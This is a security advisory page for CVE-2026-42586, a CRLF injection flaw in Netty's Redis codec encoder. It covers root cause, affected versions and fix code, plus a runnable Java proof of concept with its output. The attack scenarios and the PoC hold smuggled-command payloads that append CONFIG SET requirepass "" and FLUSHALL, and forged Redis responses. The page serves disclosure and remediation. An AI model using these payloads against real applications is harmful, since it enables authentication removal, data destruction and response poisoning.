CVE-2026-42586 — netty-codec-redis
MEDIUMCVE-2026-42586 is a medium-severity (CVSS 6.8) CWE-93 vulnerability in io.netty:netty-codec-redis. A fix is available for io.netty:netty-codec-redis — see the affected versions and patch details below.
Netty: CRLF Injection in Netty Redis Codec Encoder
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42586.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42586 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
io.netty:netty-codec-redis☕io.netty:netty-codec-redisReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-redis) |
| Component | io.netty.handler.codec.redis.RedisEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |
| Impact | Redis Command Injection / Response Poisoning |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
The following classes in the codec-redis module are affected:
io.netty.handler.codec.redis.RedisEncoder(encoder - no output validation)io.netty.handler.codec.redis.InlineCommandRedisMessage(no input validation)io.netty.handler.codec.redis.SimpleStringRedisMessage(no input validation)io.netty.handler.codec.redis.ErrorRedisMessage(no input validation)io.netty.handler.codec.redis.AbstractStringRedisMessage(base class - no validation)
3. Vulnerability Description
The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.
Root Cause
In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
RedisConstants.EOL_LENGTH);
type.writeTo(buf);
ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION
buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n
out.add(buf);
}
The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:
// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
// NO CRLF validation
}
Comparison with Similar Fixed CVEs
This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder - SMTP command injection | Added SmtpUtils.validateSMTPParameters() to check for \r and \n |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder - CRLF in URI | Added HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP |
The Redis codec has no equivalent validation in either the encoder or the message constructors.
4. Exploitability Prerequisites
This vulnerability is exploitable when all of the following conditions are met:
- The application uses Netty's
codec-redismodule to communicate with a Redis server - User-controlled input is placed into
InlineCommandRedisMessage,SimpleStringRedisMessage, orErrorRedisMessagecontent - The application does not perform its own CRLF sanitization before constructing these message objects
Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.
Affected use cases include:
- Custom Redis clients or proxies that use
InlineCommandRedisMessagefor simplicity - Redis middleware/proxy layers that forward
SimpleStringRedisMessageorErrorRedisMessageresponses - Applications that construct Redis monitoring or diagnostic commands from user input
- Redis Sentinel or Cluster management tools using inline command format
5. Attack Scenarios
Scenario 1: Redis Command Injection via Inline Commands
When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:
// Application code that builds Redis commands from user input
String userKey = request.getParameter("key"); // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);
Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"
Result: Three commands sent to Redis:
GET fooCONFIG SET requirepass ""(removes authentication!)FLUSHALL(deletes all data!)
Scenario 2: Redis Response Poisoning
When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:
// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);
Malicious upstream response: "OK\r\n$6\r\nhacked"
Client sees:
- Simple String:
+OK(expected response) - Bulk String:
$6\r\nhacked(injected fake data!)
Scenario 3: Error Message Injection
ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);
Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"
Client sees:
- Error:
-ERR unknown - Simple String:
+FAKE_SUCCESS(injected fake success!)
6. Proof of Concept
Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;
import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;
/**
* PoC: Redis Encoder CRLF Injection Vulnerability
*
* Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
* and ErrorRedisMessage do not validate content for CRLF characters,
* allowing Redis command injection via the RESP protocol.
*/
public class RedisEncoderCRLFInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");
testInlineCommandInjection();
testSimpleStringInjection();
testErrorMessageInjection();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: Inline Command Injection
* An attacker-controlled string injected into InlineCommandRedisMessage
* results in multiple Redis commands being sent.
*/
static void testInlineCommandInjection() {
System.out.println("[TEST 1] Inline Command CRLF Injection");
System.out.println("----------------------------------------");
// Malicious content: inject FLUSHALL after a benign PING
String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
// This should be rejected but is accepted
InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: InlineCommandRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// Count how many CRLF-delimited commands are in the output
String[] commands = encoded.split("\r\n");
System.out.println("Number of commands parsed by Redis: " + commands.length);
for (int i = 0; i < commands.length; i++) {
if (!commands[i].isEmpty()) {
System.out.println(" Command " + (i + 1) + ": " + commands[i]);
}
}
boolean vulnerable = commands.length > 1;
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
System.out.println();
}
/**
* Test 2: SimpleString Response Injection
* When Netty acts as a Redis proxy/middleware, a malicious SimpleString
* can inject fake responses to the downstream client.
*/
static void testSimpleStringInjection() {
System.out.println("[TEST 2] SimpleString Response CRLF Injection");
System.out.println("----------------------------------------------");
// Malicious content: inject a fake bulk string response after OK
String maliciousContent = "OK\r\n$6\r\nhacked";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: SimpleStringRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// The RESP protocol uses the first byte to determine type:
// '+' = Simple String, '$' = Bulk String
// A client parsing this would see:
// 1. "+OK\r\n" -> Simple String "OK"
// 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!)
boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
System.out.println();
}
/**
* Test 3: Error Message Injection
* Similar to SimpleString but with error messages.
*/
static void testErrorMessageInjection() {
System.out.println("[TEST 3] Error Message CRLF Injection");
System.out.println("--------------------------------------");
String maliciousContent = "ERR unknown\r\n+INJECTED_OK";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: ErrorRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
System.out.println();
}
}
How to Compile and Run
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
-Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
-Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Redis Encoder CRLF Injection PoC ===
[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
Command 1: PING
Command 2: CONFIG SET requirepass ""
Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!
[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!
[TEST 3] Error Message CRLF Injection
--------------------------------------
Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data |
| Integrity | HIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration |
| Availability | Can be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS |
| Authentication Bypass | CONFIG SET requirepass "" removes authentication |
| Data Exfiltration | Lua scripting via EVAL enables complex data extraction |
8. Remediation Recommendations
Option 1: Validate in Message Constructors (Recommended)
Add CRLF validation to AbstractStringRedisMessage:
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
validateContent(content);
}
private static void validateContent(String content) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"Redis message content contains illegal CRLF character at index " + i);
}
}
}
Option 2: Validate in Encoder (Defense-in-Depth)
Add validation in RedisEncoder.writeString():
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new RedisCodecException(
"Redis message content contains CRLF at index " + i);
}
}
// ... existing encoding logic
}
Option 3: Both (Best Practice)
Apply validation in both the constructor and the encoder, following the pattern used for SMTP:
SmtpUtils.validateSMTPParameters()validates inDefaultSmtpRequestconstructor- This provides defense-in-depth against custom
SmtpRequestimplementations
9. Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-codec-redis | ≥ 4.2.0.Alpha1&&< 4.2.13.Final | 4.2.13.Finalio.netty:netty-codec-redis:4.2.13.Final |
| ☕Maven | io.netty:netty-codec-redis | all versions | 4.1.133.Finalio.netty:netty-codec-redis:4.1.133.Final |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-redis, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-codec-redis to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42586 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42586 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42586. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 | netty-codec-redis | RHSA-2026:37390 |
| Red Hat Data Grid 8.6.2 | netty-codec-redis | RHSA-2026:41951 |
Frequently Asked Questions
Is CVE-2026-42586 in your dependencies?
O3 Security finds CVE-2026-42586 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.